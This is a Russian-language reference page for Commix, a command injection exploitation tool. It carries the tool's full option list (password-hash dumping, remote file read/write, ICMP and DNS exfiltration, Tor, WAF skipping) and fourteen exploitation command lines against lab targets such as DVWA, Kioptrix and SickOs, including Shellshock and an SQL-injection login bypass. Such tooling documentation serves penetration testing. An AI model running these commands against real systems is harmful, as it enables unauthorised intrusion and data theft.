Commix - command injection exploiter

Консольная утилита, имеет простую среду и может использоваться веб-разработчиками, тестерами на проникновение и даже исследователями безопасности для тестирования веб-приложений в поисках багов, ошибок или уязвимостей, связанных с атаками инъекцией команд. С помощью этого инструмента очень легко находить и эксплуатировать уязвимости инъекции команд в конкретном уязвимом параметре или строке. Commix написан на языке программирования Python.

Домашняя страница: https://github.com/stasinopoulos/commix

Автор: Anastasios Stasinopoulos

Лицензия: GPLv3

Справка по Commix

Использование:

python commix.py [опции]
Опции:

  -h, --help            Показать справку и выйти.
 
  Общие:
    Эти параметры являются общими при различном использовании.
 
    --verbose           Включить вербальный режим.
    --version           Показать номер версии и выйти.
    --output-dir=OUT..  Установить пользовательский путь директории вывода.
    -s SESSION_FILE     Загрузить сессию из сохранённого (.sqlite) файла.
    --flush-session     Очистить файлы сессии для текущей цели.
    --ignore-session    Игнорировать результаты, сохранённые в файле сессии.
 
  Цель:
    Эти опции участвуют в определении URL цели.
 
    -u URL, --url=URL   Целевой URL.
    --url-reload        Перезагрузить целевой URL после выполнения команды.
    -l LOGFILE          Парсить цель и данные из лог файла HTTP proxy.
 
  Запрос:
    Эти опции могут использовать для определения, как подключаться к целевому URL.
 
    --data=DATA         Строка данных для отправки через POST.
    --host=HOST         Заголовок HTTP Host.
    --referer=REFERER   Заголовок HTTP Referer.
    --user-agent=AGENT  Заголовок HTTP User-Agent.
    --random-agent      Использовать случайно выбранный заголовок HTTP User-Agent.
    --param-del=PDEL    Установить символ для разделения значений параметра.
    --cookie=COOKIE     Заголовок HTTP Cookie.
    --cookie-del=CDEL   Установить символ для разделения значений cookie.
    --headers=HEADERS   Дополнительные заголовки (к примеру, 'Header1:Value1\nHeader2:Value2').
    --proxy=PROXY       Использовать HTTP прокси (к примеру, '127.0.0.1:8080').
    --tor               Использовать сеть Tor.
    --tor-port=TOR_P..  Установить порт прокси Tor (по умолчанию: 8118).
    --auth-url=AUTH_..  URL панели входа.
    --auth-data=AUTH..  Параметры входа и данные.
    --auth-type=AUTH..  Тип HTTP аутентификации (к примеру, 'basic').
    --auth-cred=AUTH..  Учётные данные HTTP аутентификации (к примеру, 'admin:admin').
    --ignore-401        Игнорировать HTTP ошибку 401 (Unauthorized).
    --force-ssl         Принудительное использование SSL/HTTPS.
 
  Перечень:
    Эти опции могут использоваться для перечисления свойств целевого хоста.
 
    --all               Получить всё.
    --current-user      Получить текущее имя пользователя.
    --hostname          Получить текущее имя хоста.
    --is-root           Проверить, имеет ли текущий пользователь привилегии рута.
    --is-admin          Проверить, имеет ли текущий пользователь привилегии админа.
    --sys-info          Получить информацию о системе.
    --users             Получить системных пользователей.
    --passwords         Получить хеши паролей системных пользователей.
    --privileges        Получить системные пользовательские привилегии.
    --ps-version        Получить номер версии PowerShell.
 
  Доступ к файлам:
    Эти опции могут использоваться для доступа к файлам на целевом хосте.
 
    --file-read=FILE..  Прочитать файл с целевого хоста.
    --file-write=FIL..  Записать файл на целевой хост.
    --file-upload=FI..  Выгрузить файл на целевой хост.
    --file-dest=FILE..  Абсолютный путь на хосте для записи и/или выгрузки.
 
  Модули:
    Эти опции могут использоваться для увеличения возможностей
    выявления и/или инъекции.
 
    --icmp-exfil=IP_..  Техника инъекции 'icmp exfiltration'
                        (к примеру 'ip_src=192.168.178.1,ip_dst=192.168.178.3').
    --dns-server=DNS..  Модуль инъекции 'DNS exfiltration'.
                        (Доменное имя, используемое для атаки DNS exfiltration).


    --shellshock        Техника инъекции 'shellshock'.
 
  Инъекция:
    Эти опции могут использоваться для указания, какие параметры вставлять для
    инжекта и передачи пользовательских запросов инъекции.
 
    -p TEST_PARAMETER   Тестируемый параметр(ы).
    --suffix=SUFFIX     Суффиксная строка запроса для инъекции.
    --prefix=PREFIX     Префиксная строка запроса для инъекции.
    --technique=TECH    Указать технику(и) для инъекции.
    --maxlen=MAXLEN     Установить максимальную длину вывода для основанной
                        на времени технике инъекции (По умолчанию: 10000 символов).
    --delay=DELAY       Установить время задержки для основанных на времени
                        техник инъекции (По умолчанию: 1 секунда).
    --tmp-path=TMP_P..  Установить абсолютный путь временной директории веб-сервера.
    --root-dir=SRV_R..  Установить абсолютный путь рут директории веб-сервера.
    --alter-shell=AL..  Использовать альтернативный шелл ОС (к примеру, Python).
    --os-cmd=OS_CMD     Выполнить отдельную команду операционной системы.
    --os=OS             Force back-end operating system to this value.
    --tamper=TAMPER     Использовать данный скрипт(ы) для всовывания данных инъекции.
 
  Выявление:
    Эти опции могут использоваться для настройки фазы выявления.
 
    --level=LEVEL       Уровень выполняемого тестирования (1-3, По умолчанию: 1).
 
  Разное:
    --dependencies      Проверка на сторонние (не ключевые) зависимости.
    --skip-waf          Пропустить эврестическое обнаружение защиты WAF/IPS/IDS.

Примеры команд

1. Exploiting Damn Vulnerable Web App:

root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

2. Exploiting php-Charts 1.0 using injection payload suffix & prefix string:

root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=test" --prefix="'" --suffix="//"

3. Exploiting OWASP Mutillidae using extra headers and HTTP proxy:

root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=127.0.0.1" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

4. Exploiting Persistence using ICMP exfiltration technique:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"

5. Exploiting Persistence using an alternative (python) shell:

root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --alter-shell="Python"

6. Exploiting Kioptrix: Level 1.1 (#2):

root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=127.0.0.1E&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"

7. Exploiting Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:

root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="f" --root-dir="/"

8. Exploiting CVE-2014-6271/Shellshock:

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock

9. Exploiting commix-testbed (cookie) using cookie-based injection:

root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/scenarios/cookie/cookie(blind).php" --cookie="addr=127.0.0.1"

10. Exploiting commix-testbed (user-agent) using ua-based injection:

root@kali:~/commix# python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/user-agent/ua(blind).php" --level=3

11. Exploiting commix-testbed (referer) using referer-based injection:

root@kali:~/commix# python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/referer/referer(classic).php" --level=3

12. Exploiting Flick 2 using custom headers and base64 encoding option:

root@kali:~/commix# python commix.py --url="https://192.168.2.12/do/cmd/*" --headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" --base64

13. Exploiting commix-testbed (JSON-based) using JSON POST data:

root@kali:~/commix# python commix.py --url="http://192.168.2.11/commix-testbed/scenarios/regular/POST/classic_json.php" --data='{"addr":"127.0.0.1","name":"ancst"}'

14. Exploiting SickOs 1.1 using shellshock module and HTTP proxy:

root@kali:~/commix# python commix.py --url="http://192.168.2.8/cgi-bin/status" --shellshock --proxy="192.168.2.8:3128"


https://www.youtube.com/watch?v=A57pbJA706U